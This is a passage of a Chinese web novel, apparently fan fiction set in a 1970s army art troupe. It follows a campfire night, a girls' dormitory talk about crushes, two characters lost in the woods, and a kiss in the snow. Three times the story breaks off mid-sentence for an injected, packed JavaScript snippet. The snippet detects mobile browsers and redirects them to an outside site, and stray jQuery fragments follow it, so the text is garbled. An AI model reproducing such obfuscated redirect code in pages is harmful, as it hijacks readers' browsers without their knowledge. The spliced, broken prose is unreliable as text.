陈灿乖乖凑过去。
她拿起干净的绢帕,抬手轻轻给他擦着嘴角。
动作温柔细致,带着淡淡的皂角香。
看着她仔细的动作,陈灿心口一下子就软得一塌糊涂。
等她擦完,他自己去洗了手,回来便低声问:“你……有没有生气?”
兆悦抬眸:“生什么气?”
“刚才她们……”他有些不好意思说出口。
兆悦一下子就笑了,语气轻松:“我不生气,都是队友,你总不能把场面弄得太难看,我懂的。”
陈灿听得心头一热,她竟这般体贴他的难处。
他连忙认真保证:“我以后会注意分寸的,绝不会让你难过。”
兆悦弯着眼,故意逗他:“那要是队里哪个女兵喜欢你、爱上你了,怎么办?”
陈灿眼底先漾起一点笑,半认真半逗她,声音轻轻的:“那我不管,反正我眼里就你一个。”
说完立刻反过来问她:“那要是有男兵看上你、喜欢你了怎么办?”
兆悦弯着眼,故意逗他,拖长语调:“那我可得好好想想啊……万一对方长得又好看——”
话还没说完,陈灿手臂一伸,直接把她搂进怀里。
他飞快扫了一眼帐外,确定没人过来,低头就吻了上去,一下堵住她还在逗弄他的嘴。
没过片刻两人便轻轻分开。
兆悦和陈灿都心里清楚,刚才那一下实在冲动,可心已经先一步替他们做了决定,谁也不会责怪对方,更不会怪自己这份按捺不住的心意。
兆悦先轻轻整理了一下衣角,率先走出帐篷。
外面篝火依旧明亮,欢声笑语、歌声舞步混在一起,热闹得像把整个夜晚都点燃了。
40. 星空
夜色渐深,大家玩闹到很晚,军营里到底守着规矩,大多是男生一堆、女生一堆,鲜少男女混坐,分寸感都拿捏得恰到好处。
山里没有灯光污染,也没有空气污染,夜空黑得透亮,星星密得吓人,亮得仿佛伸手就能摘到。
兆悦从前在大院里也常看星空,可此刻望着这片70年代的夜空,还是忍不住在心底轻叹——原来这个年代的人,抬头看见的是这样干净又璀璨的银河。
月光洒在草地上,白得像开了一盏盏白炽灯,亮得能看清彼此脸上的笑意。
篝火渐渐弱了下去,只剩几点微弱的火星明灭,但没人愿意回帐篷,全都三三两两坐在草地上聊天笑闹。
远处几个男兵凑在一起打牌,烟头在黑暗里一明一暗,混着低低的说话声。
兆悦、何小萍、郝淑雯、萧穗子、杭春明、杨铮、陈灿、朱克、小芭蕾、卓玛,一大帮人围坐成一圈,气氛松快又暖和。
杭春明忽然凑过来,挠着头开口:“悦儿姐,你之前说的那个什么星来着?管爱情的那个?”
这话一出,大伙都来了兴致,齐刷刷看向兆悦。陈灿没往前挤,就安静坐在兆悦身后,目光也牢牢落在她身上,等着听她说话。
兆悦弯了弯眼,轻声补充:“是金星,在西方的说法里,代表爱与美的女神维纳斯。”
话音刚落,杨铮便笑着接话,语气熟稔又默契:“也是美丽与欲望的象征,古时候的人,常靠金星测算姻缘和心动。”
两人一唱一和,句句不离爱情、心动、欲望,听得郝淑雯一脸姨母笑,拖长语调“哦——”了一声,满是打趣。
萧穗子也跟着笑,下意识回头望了兆悦一眼,这一眼,便看见了兆悦身后的陈灿。
月光落在他轮廓分明的脸上,映得他鼻梁挺直,唇线清晰,连下颌线都冷硬好看。
只是他此刻微微蹙着眉,眼底藏着几分不易察觉的沉郁,明明是好看得让人移不开眼的模样,却透着一股闷闷的气压。
陈灿心里是真的郁闷。
不就是和兆悦从小一起长大吗?凭什么跟她这么有默契,张口闭口就是爱情、美丽、欲望,听得他浑身不自在。
罪魁祸首杭春明压根没察觉这暗流涌动,一拍大腿又扯到别的地方去:“哎呦呵!你们快看那几颗星,连在一起,像不像咱们今晚吃的大烤鸡腿!”
一句话逗得全场哄笑。
郝淑雯笑着拍他:“你可真行,满脑子除了吃没别的,馋死你得了!”
萧穗子也好奇地仰起头:“哪几颗啊?我怎么没看出来。”
杭春明在天上指指点点,热闹成一团。
趁着所有人的注意力都被星空和玩笑吸引,没人留意这边,坐在兆悦身后的陈灿,悄悄伸出手,轻轻捏了捏她的指尖。
兆悦嘴角的笑意更深了几分,没当场回应,只是不动声色地侧了侧眼,悄悄看了他一眼。
只一眼,便让陈灿心里的郁闷,瞬间散了大半。
大家闹到夜深,营地渐渐安静下来,众人也只能各回各的帐篷休息。
这么多人眼对眼看着,兆悦和陈灿就算心里再想独处,也没法偷偷溜去小树林约会,只能默契地各自归队,连个悄悄对视的机会都少得可怜。
女生们结伴回到帐篷,几人刚坐下,话题又绕回了方才夜空中的金星。
萧穗子抱着膝盖,轻声开口问兆悦:“悦儿,你和杨铮怎么知道那么多关于金星的事啊?又是爱情又是维纳斯的,我们听都没听过。”
兆悦靠着铺盖笑了笑,轻声解释:“以前在大院里,住过一位天文学家,没事的时候,会跟我们几个凑在一块儿的孩子讲点星空的故事,我听得多了,就记住了一些。”
“那杭春明怎么一问三不知的样子?”郝淑雯立刻接话。
“他?”兆悦忍不住笑出声,“那会儿他最坐不住,老先生刚开口,他人早跑没影了,爬树掏鸟窝去了。刚才我说金星,他也是半听半猜,一知半解。”
几人都笑了起来。
萧穗子眼睛亮晶晶的,明显是真感兴趣:“那金星真的跟爱情有关吗?不是咱们自己瞎想的?”
“在西方的说法里是这样,”兆悦点头,“代表爱与美,也代表人心里那种喜欢、心动的感觉。”
“心动……”小芭蕾轻轻重复了一遍,脸颊微微发烫,“那是不是看见一颗星星亮,就代表有人在想你啊?”
卓玛也凑过来:“真有这么灵吗?那我以后每晚都要看看金星。”
十八九岁的年纪,心里本就藏着朦朦胧胧的悸动,一沾到“喜欢”“心动”“爱情”这类字眼,连帐篷里的气氛都跟着静了几分,多了些说不清道不明的期待与羞涩。
萧穗子被这气氛染得有些不好意思,却还是认真追问:“悦儿,那你说,喜欢一个人,真的会跟星星一样,藏都藏不住吗?”
兆悦顿了顿,眼底轻轻一软,语气却很平静:“大概是吧。心里有了人,看什么都像他,连星星都像是在替你说话。”
郝淑雯向来直白,笑着接了一句:“就是会忍不住多看他两眼,他一出现,你眼睛就跟着他跑。”
说到这里,几人不约而同地想到了林丁丁。
在这群姑娘里,她向来最懂怎么和男生相处,眉眼一弯、语气一软,就最是招人喜欢,也是队里最受男兵欢迎的一个。
最近她更是常常夜里悄悄溜出去,总要到很晚才回来,每次回来时,嘴角都藏不住轻快愉悦。
郝淑雯压低声音,带着几分笃定:“我可是舍长,今晚非得好好拷问拷问她。”
卓玛立刻跟着点头,眼睛亮晶晶地提议:“要不咱们干脆开个夜谈会,都聊聊心里话呗?”
这话一出,小芭蕾、郝淑雯都立刻应和,兴致勃勃。
兆悦没有拒绝,只是眼角轻轻一扫,留意到萧穗子坐在角落,神色微微有些犹豫,不像其他人那样兴奋。
夜色已深,几人谁也没真的睡去,都窝在各自床铺上,安安静静等着。
没过十几分钟,帐篷外就传来轻浅的脚步声。
林丁丁悄悄掀帘进来,一抬眼看见一帐篷的人都睁着眼睛看她,立刻就明白了大半,脸上泛起一层薄红,也不扭捏,干脆主动就范。
“我知道你们要问什么。”她声音温温柔柔,带着点无奈,“等我洗漱完,马上过来交代。”
姑娘们顿时叽叽喳喳笑开,七嘴八舌地打趣她还算有点眼力见。
等林丁丁洗漱回来,轻手轻脚爬上自己的铺位,帐篷里立刻安静了一瞬,所有人的目光都齐刷刷落在她身上。
郝淑雯清了清嗓子,以舍长的架势率先开口,语气里带着打趣又不容推脱的认真:“老实交代吧,林丁丁,最近一到晚上就往外跑,半夜才回来,脸上还喜气洋洋的,是不是有情况了?”
林丁丁自己先忍不住笑了,眉眼弯弯,也不装不瞒,大大方方认了一半:“哎哟,我都说了回来跟你们说,还非得现在审我。”
她语气软乎乎的,带着点被戳中心事的小得意,往四周看了看,才压低声音,轻轻说:“……是摄影干事找我。”
姑娘们立刻心照不宣地“哦——”了一声,声音压得低低的,却满是起哄的笑意。
谁都知道,团里摄影干事一直在追林丁丁,又是给她拍照片,又是悄悄送东西,心思明眼人都看得出来。
郝淑雯挑了挑眉,压低声音追问:“我们问的不是谁,是进展!你们今晚出去,都干嘛了?”
“没干嘛呀,”林丁丁脸颊微微发烫,语气依旧温温柔柔,“就是他说白天拍的照片要给我看看,顺便聊了几句。”
“聊几句能聊到心情这么好?”郝淑雯不信,笑着戳穿她,“我可看得明明白白,你一回来,嘴角就没下来过。”
林丁丁被说得不好意思,轻轻拍了郝淑雯一下,却也不否认。
帐篷里一阵低低的笑闹,话题顺着心动与喜欢往下走,慢慢就从林丁丁身上,飘到了在场每个人的心事里。
萧穗子则缩在自己铺位上,从头到尾话都很少,只跟着众人轻轻应和,眼神却总有些发飘,不敢与人对视,满心的情绪都系在一个不敢说出口的人身上。
卓玛向来腼腆,这会儿被气氛染得脸颊微红,也轻轻开了口,声音细细小小的:“我也觉得……心里要是装着一个人,看他训练、看他说话,都会忍不住偷偷开心。哪怕只是远远看着,也觉得很安心。”
她没说名字,可姑娘们都听得出来,那是藏在心底的、悄悄仰望的喜欢。
小芭蕾也跟着点头,眼里闪着细碎的光:“我也是,就希望他能多注意自己一点,哪怕只是说一句话,都能高兴好久。”
郝淑雯看着她们一个个藏藏掖掖的模样,忍不住笑:“你们啊,都跟小秘密似的。行,我也不逼你们说名字,心里有人就有人,咱们姑娘家,这点心事最珍贵。”
说着,她故意把目光投向一直沉默的萧穗子,语气带着点了然的打趣:“穗子,就你最安静,从头到尾不吭声,心里是不是也藏着人?”
萧穗子猛地一僵,指尖瞬间攥
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309122|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
紧了衣角,脸颊唰地红透,慌乱地低下头,声音轻得像蚊子哼:“我没有……我就是觉得,有的人很优秀,待人也好,做事稳重,让人忍不住多留意几分……”
她话说得隐晦,半句名字没提,可那慌乱的模样、羞涩的语气,任谁都听得明白。
郝淑雯心里跟明镜似的,早就知道她放在心上的人是陈灿,却也不点破,只轻轻笑了笑,给她留足了体面。
郝淑雯看了一圈,最后把目光落在兆悦身上,带着几分了然,开口打趣:
“兆悦,别光顾着听,也该说说你了。”
兆悦挑眉,笑意不变:“我有什么好说的。”
“少装糊涂。”郝淑雯往前凑了凑,声音压得更低,“今晚篝火旁,跟你一唱一和聊金星、聊爱情的,不是杨铮吗?他那眼神,谁看不出来啊。”
她顿了顿,语气里全是笃定:“你们俩从小一起长大,又是一起来的文工团,那可是实打实的青梅竹马。杭春明是你表弟,有血缘关系,自然不算。
可杨铮不一样啊,无亲无故,又对你那么好,这么多年的情分,谁信你们之间没点不一样的心思?”
萧穗子也在一旁轻轻点头,附和道:“我也觉得……你们俩特别默契,不管是说话还是做事,都像心有灵犀。我们刚才还在猜,你心里的人,是不是杨铮。”
在她们眼里,兆悦和杨铮从小相识、处处合拍,简直是天造地设的一对。
至于陈灿——她们谁也没往那处想。
毕竟明面上,兆悦和陈灿交流不多,看上去只是普通队友,人前很少凑在一起,谁能想到,兆悦真正放在心上的人,会是陈灿。
兆悦心里一紧,她最怕的就是这群人说得模棱两可,转头传得变了味,万一再飘进陈灿耳朵里,平白生出误会和事端。
于是她不再含糊,神色认真了几分,语气格外直接干脆地否认:“你们真的别乱猜了,我从头到尾,都只把杨铮当成亲哥哥一样看待,没有半分别的心思。”
她话说得坦荡又笃定,半点没有少女害羞遮掩的模样,摆明了是真的无心。
一直静静听着的林丁丁这时轻轻笑了一声,她最懂男女之间的那点心思,一眼就瞧得通透,直言道:“我看悦儿是真没什么想法,态度摆得明明白白。不过……杨铮可不一样,他看悦儿的眼神,可不是看妹妹那么简单。”
大家听了又是一阵低低的哄闹,笑声压得轻轻的,却满是心照不宣的打趣。
兆悦都把话说得这么直白,她们也懂分寸,没再追着逼问,免得真传出去惹出不必要的误会。
闹了一阵,卓玛、小芭蕾和林丁丁对视一眼,立刻统一战线,齐刷刷把矛头掉转,反过来一起盘问郝淑雯。
“行了行了,别光说别人,也该轮到你了!”
“就是,淑雯,你可是咱们这儿最敞亮的北京姑娘,别想躲!”
郝淑雯半点不怵,大大方方抬下巴,一身北方大嫚的爽利气质,笑着迎上去:“呵,还想联合起来审我?行啊,想问什么尽管问,我有什么不敢说的!”
林丁丁心里其实藏着点隐约的猜测,她总瞧着郝淑雯爱找陈灿斗嘴,一来一回针锋相对的,但又好像没什么,还是话到嘴边,终究没好直接问出口。
卓玛和小芭蕾心思单纯,压根看不出这些弯弯绕绕,只跟着凑热闹,问的全是些无关紧要的话。
“淑雯姐,你喜欢什么样的人啊?”
“那你现在心里,有没有偷偷喜欢的人呀?”
两人你一言我一语,问得天真又直白,全没问到实处去。郝淑雯大大方方一笑,语气爽利,只淡淡说了句:“喜欢什么类型?就得是心气高、性子稳、有担当、做事利落的那种。”
这话听上去就是普通姑娘说的理想型,谁也不会立刻对号入座,可只有她自己清楚,每一句,都是照着身边那个阳光硬朗、好胜又坦荡的人说的。
至于有没有心上人,她只随意摆了摆手:“现在没空想这些,真有了再说。”
姑娘们这场藏着心事的夜谈,就在低低的说笑里悄悄落下了帷幕。
一帐篷里看着一派和气,说说笑笑,彼此心照不宣,那些细微的暗流与小心思,在夜色里轻轻一漾,很快便淡了下去。
而另一边的男兵帐篷里,气氛却悄悄不一样了。
陈灿心里,早把杨铮暗暗盯上了。
杨铮其实一直都清楚,陈灿喜欢兆悦,只是不动声色;可在陈灿看来,却是自己在明,对方在暗。
这一夜大家各怀心思,久久未眠。
41. 暗恋
天刚蒙蒙亮,山间的雾气还没散尽,文工团的队伍便散开了。
没有统一的排练,没有严苛的作息,领导只嘱咐注意安全、按时归队,余下时间,全由着大家自由探索这片藏在群山之间的广阔自然。
草木清香混着泥土气息扑面而来,远处山峦层叠,云雾在山腰缠缠绕绕,偶有几声清脆的鸟鸣划破寂静,连空气都透着一股让人放松的软意。
一群年轻男女三三两两分开,有人往溪边去,想掬一捧清冽山泉;有人顺着缓坡往上,想站在高处看看更远的风景;也有人就留在营地附近,随意坐着晒晒太阳,说说闲话。
刘峰几乎是下意识地,脚步就黏在了林丁丁身边。
他本就是团里出了名的热心人,对谁都好,可那份好落在林丁丁身上,又多了几分旁人瞧不出来的细致与妥帖。
路边有横生的树枝,他先一步伸手拨开;脚下有湿滑的青苔,他轻声提醒一句“小心点”;林丁丁随口说句风有点凉,他二话不说就把自己外套递过去,动作自然得仿佛做过千百遍。
林丁丁照单全收,眉眼弯弯,语气软得恰到好处:“刘峰,你也太周到了。”
刘峰只是憨厚一笑:“应该的,这边路不好走,照顾好你们是应该的。”
他不求什么回应,只要能安安稳稳陪在她身边,看着她笑,替她挡掉一点麻烦,心里就踏实又满足。
而不远处,萧穗子的心,却早已乱得不成样子。
昨夜那场宿舍夜谈,像一颗小石子投进平静湖面,在她心里搅起层层叠叠的涟漪。
郝淑雯那句半开玩笑的追问,自己那番含糊其辞、藏头藏尾的回答,一遍遍在她脑海里回放。
没有一个人真正明白,她藏了这么久的目光,究竟落在哪个人身上。
从前她只敢远远看着陈灿。
看他在训练场上身姿挺拔,看他和同伴说笑时眉眼明亮,看他对谁都客气,对谁都保持着一点距离,对郝淑雯是这样,对她自己,也是这样。
不亲近,不疏离,不格外热络,也不故意冷淡,像一潭看着很浅、却摸不透深浅的水。
正是这份淡淡的距离感,让她藏了这么久,不敢靠近,也不敢声张。
可此刻,心里忽然冒出一个轻轻的念头:一直这样远远看着,永远都不会有变化。
如果……我稍微主动一点,稍微流露一点点心意,会不会,就有新的进展了呢?
这个念头一冒出来,就再也压不下去。
她深吸了一口气,指尖微微攥紧,眼神一点点变得坚定。
她不想再只躲在角落里偷偷观望,不想把所有心事都烂在心里,更不想等到一切都来不及的时候,才后悔当初没有勇敢一次。
就算结果不如所愿,至少,她努力过。
萧穗子定了定神,一步步,朝着陈灿的方向走了过去。
她的心跳快得几乎要撞出胸口,指尖攥得发白,每一步都走得轻而小心,生怕惊扰了眼前这份难得的靠近。
她不敢直接说想同他一起,更不敢暴露半分私心,只能在脑海里飞快地组织语言,挑了一个最稳妥、最不会引人怀疑的理由。
走到陈灿面前时,她努力抬起头,让自己的眼神看起来自然坦荡,声音轻轻的,却带着几分刻意稳住的镇定。
“陈灿,”她先轻轻喊了他一声,等对方抬眼看过来,才继续开口,“大家现在都散开活动了,我想着……不如我们一起去找找刘峰、林丁丁,还有兆悦、何小萍她们吧?人多一起逛逛也热闹些,免得等会儿集合的时候找不到彼此。”
她说得合情合理,语气自然,完全是战友间寻常的邀约,不带半分逾矩,也看不出任何少女心事。
萧穗子紧张地望着他,生怕从他嘴里说出拒绝的话。
可她没有看见,在她说出兆悦两个字的那一刻,陈灿原本平淡的眼神里,极轻地动了一下。
那点细微的变化快得让人抓不住,却足够让他原本可有可无的态度,瞬间有了明确的答案。
陈灿脸上依旧是那副淡淡的模样,看不出太多情绪,只是微微点了下头,语气平稳地应了一声:“好。”
简单一个字,干脆利落。
萧穗子瞬间松了一大口气,心口像是被轻轻托起,甜意悄悄漫上来,她压着嘴角忍不住的笑意,轻声道:“那……那我们走吧。”
她满心欢喜,只当是自己的邀约恰到好处,以为是自己终于往前迈了一步,才换来了这难得的同行。
她全然没有察觉,陈灿答应得如此爽快,根本不是因为她,也不是因为要找其他人,只是因为她口中,无意间提起了兆悦的名字。
萧穗子走在前面,脚步轻快,心里还在悄悄庆幸着这一步的勇敢,她以为,这是属于她的新开始。
却不知道,这场她精心鼓起勇气的靠近,从一开始,就偏了方向。
两人顺着林间小路慢慢往前走,草木越来越密,小路越走越窄,原本隐约能听见的人声渐渐淡了,四下里只剩下风吹树叶的沙沙声和远处几声模糊的鸟鸣。
走着走着,萧穗子先反应过来——她们好像迷路了。
来时的脚印被落叶盖住,前后左右都是相似的树木与山石,连太阳都被云层遮了大半,根本分不清方向。
萧穗子心里非但不慌,反而悄悄松了口气,甚至有一丝不易察觉的甜意悄悄漫上来。
找不到人正好。
这样一来,她就可以和陈灿多独处一会儿了。
她面上却装出几分平静,回头看向陈灿,声音轻轻柔柔,带着安抚的意味:“别着急,可能就是绕了点路,一时没碰上大家。”
陈灿的脸色却明显沉了几分,脚步也顿住,往四周望了一眼,眉头几不可查地皱起。
他是真的急。
他本来答应同行,全是冲着兆悦来的,想着能早点找到人,多看一眼也好。
现在倒好,人没找到,还把自己困在了这深山里,万一耽误太久,错过了和兆悦碰面的机会,那这一天不就白白浪费了?
萧穗子看他神色紧绷,还以为他是怕回不去,连忙柔声安慰:“真的没事,你别急。等到傍晚大家开始做饭,营地那边肯定会升起炊烟,到时候我们顺着烟味、顺着火光走,一定能找回去的。”
她说得轻松,眼底甚至藏着一点期待。
能和他单独多待一会儿,对她来说,是求之不得的好事。
可陈灿哪里愿意。
让他在这里耗上一整天,什么都做不了,连兆悦的影子都见不着,他一刻都等不下去。
他压了压心底的焦躁,语气听上去还算平静,却带着一丝不容拖延的坚定:“不能等那么久。越早找到路越好,万一大家到处找我们,反而添麻烦。”
他说着,已经抬步往前,目光仔细打量着周围的环境,明显是打算立刻寻找方向,不肯在这里多耽搁一秒。
萧穗子看着他急切的背影,心里那点刚刚升起的甜意轻轻往下一沉,却也没往别处多想。
在这山里迷了路,换做谁都会着急,她只当陈灿是担心耽误集合、连累大家。
可她心底那点小心思还是悄悄冒了头,她实在舍不得这么快就结束这段独处的时光,更不想让陈灿一个人先走。
犹豫了一瞬,她学着平日里林丁丁那副柔弱模样,脚步微微一顿,轻轻“嘶”了一声,扶着脚踝慢慢坐到了路边的石头上。
陈灿闻声立刻回头,眉头微蹙地走了过来。
他没有靠近,也没有任何多余的动作,只是在她面前几步远的地方
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309123|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
蹲下身,语气平淡地问了一句:“怎么了?扭到脚了?”
萧穗子垂着眼,声音放得轻轻的,带着几分委屈:“好像……好像崴了一下。”
她本以为,就算没有格外的关心,至少也能换来一点迁就。
可陈灿只是认真看了一眼她的脚,语气客观又冷静:“还能走吗?要是实在走不了,你在这儿等着别动,我先往前找找路,找到营地马上带人回来接你。”
这话一出,萧穗子心里瞬间慌了。
她哪里是真的走不了,她只是想让他留下来陪自己。
她连忙抬起头,眼神里多了几分慌张,急忙摆手:“不用不用,我没事,就是稍微有点疼,歇一会儿就好了。”
她顿了顿,声音放得更软,带着一点少女的怯意,“你别先走,我一个人在这儿……有点害怕。”
陈灿沉默了一下。
荒山野岭,把一个女战友单独留下确实不妥,传出去也不像话。
他皱了皱眉,终究没有再坚持离开,只是站起身,往旁边站了站,语气依旧是淡淡的客气:“那你歇会儿,好了我们马上走,尽量在天黑前回去。”
萧穗子轻轻点头,坐在石头上偷偷看着他。
他始终守着分寸,不远不近,不冷不热,没有半分逾矩,也没有半分她期待的温柔。
她心里微微发酸,却还是悄悄安慰自己,能这样多陪他一会儿,就已经很好了。
没过多久,林间便传来一阵利落的脚步声,伴随着一声清亮的呼喊。
“陈灿——穗子——”
是郝淑雯。
她见萧穗子半天没回去,连最近总跟她们这帮人凑在一起的陈灿也不见了踪影,心里放心不下,便顺着方向找了过来,没想到真在这偏僻的林子里撞见了两人。
一看见郝淑雯,萧穗子心里顿时一紧,刚才那点装出来的柔弱再也撑不住,连忙试着动了动脚踝,立刻站起身:“我没事了,不疼了,可以走了。”
她这反应,落在郝淑雯眼里,已然多了几分心知肚明的意味。
陈灿压根没留意这些细微的神色变化,见终于有人找来了,眉头一松,当即开口:“正好,我们迷路了,怎么回营地?”
郝淑雯抬手指了一个方向:“从这儿直走,再拐个弯就到了,你先回去吧。”
陈灿半点没有耽搁,点了下头就转身,明显是急着回去,朝郝淑雯指的方向快步就走,转眼就融进了林间,连回头看一眼都没有。
萧穗子望着他干脆利落、半点不留恋的背影,心口轻轻一涩,刚刚强装出来的平静,又悄悄淡了下去。
郝淑雯把这一切尽收眼底,等陈灿的身影彻底看不见了,才慢悠悠地侧过头看向萧穗子。
她抱着胳膊,一副早就看透的模样,嘴角带着点似笑非笑,语气轻松随意,却字字都往心事上戳,压低了声音开口:
“行啊你,出来一趟还学会绕路了。”
萧穗子脸一下子就热了,眼神慌乱地往旁边飘,手指紧张地攥着衣角:“没有啊……就是不小心走偏了。”
郝淑雯没戳破,只是轻轻挑了下眉,语气里带着几分了然的打趣:“走偏能偏到一块儿去?我还以为,你是故意想多待一会儿呢。”
萧穗子心跳猛地一乱,连忙摇头,声音都轻了几分:“你别乱说,就是迷路了而已。”
她打死都不会承认,刚才那点小心思。
郝淑雯看她紧张得连耳朵都红了,也不再逼问,只是慢悠悠走在她身边,语气淡得像随口一提:“陈灿那个人,心思重,又冷淡,对谁都一个样。”
萧穗子垂着头,脚步轻轻的,没接话,却也半个字都不肯松口承认。
她只想把这份心意藏得好好的,谁也不告诉,谁也别戳破。
42. 雪山
那晚的劝说终究没能解开萧穗子心里的结。三人静坐片刻,便一同起身,顺着夜色慢慢走回营地休息。
第二天,是他们在这里的最后一日。
所有人都下意识地珍惜,要好的伙伴整日黏在一起,说笑、散步、聊天,仿佛只要凑得够近,就能留住这短暂的自由。
明天一早,他们便要启程离开。
谁也没有想到,这最后一天,竟落了一场大雪。
起初只是细碎的雪粒,轻轻打在树叶上,沙沙作响。没过多久,雪便大了,漫天漫地地飘洒下来,如柳絮,如梨花,如揉碎的月光。
山林、石径、草木,全都被一层干净的白轻轻覆盖,天地间一片苍茫素净,连风都变得温柔,连呼吸都清冽得发甜。
世界安静得只剩下雪落的声音,美得不像人间。
不知是谁先喊了一声打雪仗,年轻人瞬间闹作一团,雪球纷飞,笑声清脆。
兆悦却站在一旁,没有参与。
她怕冷,怕被砸到,也嫌雪沾在身上又湿又脏,只是安静地看着热闹,眉眼清淡。
等人群嬉闹着跑远,她轻轻转身,独自走向更僻静的地方。
陈灿的目光,从她离开的那一刻起,就没有再离开过。
他慢慢跟上去,停在不远不近的地方,没有打扰,只是望着她的背影。
这一幕,落在了两个看见的人眼里。
杨铮远远一瞥,脚步微顿。
他看不清细节,却看懂了陈灿眼神里的东西。
那不是好奇,不是客气,不是随意。
是沉甸甸的、藏不住的在意。
而不远处的林丁丁,眼睛轻轻一亮,嘴角慢慢勾起一点意味深长的笑。
她原本以为,陈灿对谁都是那副淡淡的样子。
现在她忽然觉得——好像,有好玩的事情要来了。
这个一直对谁都淡淡的陈灿,原来,对兆悦是不一样的。
而在陈灿的视角里,这一刻,漫天风雪都成了背景。
他一直觉得,兆悦是个怎么也看不透、却越看越入心的人。
她从来都不是单一的模样。
刚遇见时,她明艳、冷傲、眉眼间带着生人勿近的距离感,漂亮得耀眼,也难接近得让人不敢轻易靠近。
可慢慢相处下来,他才发现她巨大的反差——心态稳得惊人,从不拿自己当回事,不矫情,不张扬,却又在不经意间,带着一种让人心尖发紧的吸引力。
等到两人真正靠近,他才看见她更真实的一面。
私下里,她大胆、直接,不藏情绪,不掩心意,明艳得让人移不开眼。
会有小别扭,小拧巴,嘴硬的时候,也有撒娇时软乎乎的可爱模样。
军令下来时,她脸上的肃穆、眼底藏不住的挣扎,让他心疼。
吻他那一次,她又那样果断、自由、不顾一切,带着破釜沉舟的热烈。
再回来时,她剪了齐肩的头发,随性、利落、独立,像一株不管在哪里都能站稳的树。
和他在一起时,她是热烈的、甜蜜的、毫不掩饰的。
那天清晨迎着光奔跑,她是浪漫的、灵动的、带着说不出的情调。
而此刻,站在这白茫茫、静悄悄的天地之间,她微微垂着眼,眸色幽深,像藏着一整个别人进不去的世界,有思念,有过往,有不为人知的心事,也有沉静如水的坚定。
冷的、热的、远的、近的、傲的、软的、烈的、静的……
无数个兆悦,在他心里重叠在一起。
每一面,都让他放不下。
雪还在轻轻落着,落在她的发梢,落在她的肩头,把她衬得干净又遥远。
陈灿站在不远处,心口轻轻发紧,连呼吸都放轻。
他说不清自己到底喜欢哪一个她。
他只知道——他喜欢的,就是这完完整整、千千万万面的兆悦。
陈灿站在纷飞的白雪里,胸口一阵发紧。
那一瞬间,他几乎要控制不住自己,想大步冲上去,从身后轻轻抱住她。
他想问她刚刚在想什么,想问她眼里那片幽深里,藏着的是谁的影子。
想告诉她,他的心里、脑子里、睁眼闭眼,全都是她。
更想问一句——我在你心里,到底占了多少分量?
可他终究还是停在了原地。
他不忍心打破这片安静,不忍心惊扰她此刻的思绪。
兆悦站在白茫茫的天地间,像一幅不允许任何人触碰的画。
远处,杨铮静静地看了片刻,默默转身离开。
另一边,摄影干事也喊走了正看得兴致勃勃的林丁丁,热闹的人群渐渐远离了这片僻静的雪地。
世界安静得只剩下雪落的声音。
兆悦缓缓回过神,一转头,便撞进了陈灿的目光里。
他就站在不远处,不知已经伫立了多久。
她微微一怔,随即轻轻笑了起来,眉眼在白雪里柔和得发亮。
她抬脚,一步步朝他走去。
身后是连绵静立的雪山,漫天飞雪缓缓飘落,成了最干净、最沉默的见证。
兆悦一步步走近,雪落在她的发梢与眉尖,将她的脸颊衬得愈发温润透亮。
她抬眼望着陈灿,望着他眼底翻涌的、几乎要溢出来的情绪,忽然就清晰地知道——此刻,什么话都不必说。
该有的,是一个滚烫的、只属于他们两个人的吻。
没有试探,没有赌气,没有半分较劲与拉扯。
只有积攒了太久的思念、心疼、在意,与再也藏不住的心动。
她停在他面前,微微仰头,不等陈灿反应,便轻轻伸手,环住了他的脖颈。
下一秒,她踮起脚尖,主动吻了上去。
唇瓣相触的瞬间,像是冰雪遇上烈火,温柔却又不容分说地相融。
陈灿浑身一僵,随即猛地收紧手臂,将她紧紧拥入怀中,力道大得像是要将她揉进骨血里。
这个吻很深,很沉,很烫。
压抑已久的汹涌情绪,在唇齿间无声地爆发。
他轻轻含住她的唇,辗转轻碾,温柔得近乎虔诚,下一刻又带着难以克制的贪恋,深深吻下去。
直到舌尖轻轻相触的刹那,两人同时轻颤,呼吸骤然乱了节拍,彼此的气息缠绕在一起,清冽的雪意
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309124|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
与滚烫的体温交融,连空气都变得灼热。
兆悦没有闪躲,反而微微仰着脸,顺从又热烈地回应着他。
他能尝到她唇间微凉的软,能感受到她轻颤的睫毛扫过自己的脸颊,能听见她乱了节奏的呼吸,与自己的心跳重叠在一起,震得胸腔发疼。
恨不得将彼此揉进骨血,再也不分开。
雪还在静静飘落,落在他们的肩头,落在相拥的手臂间,世界一片纯白安静。
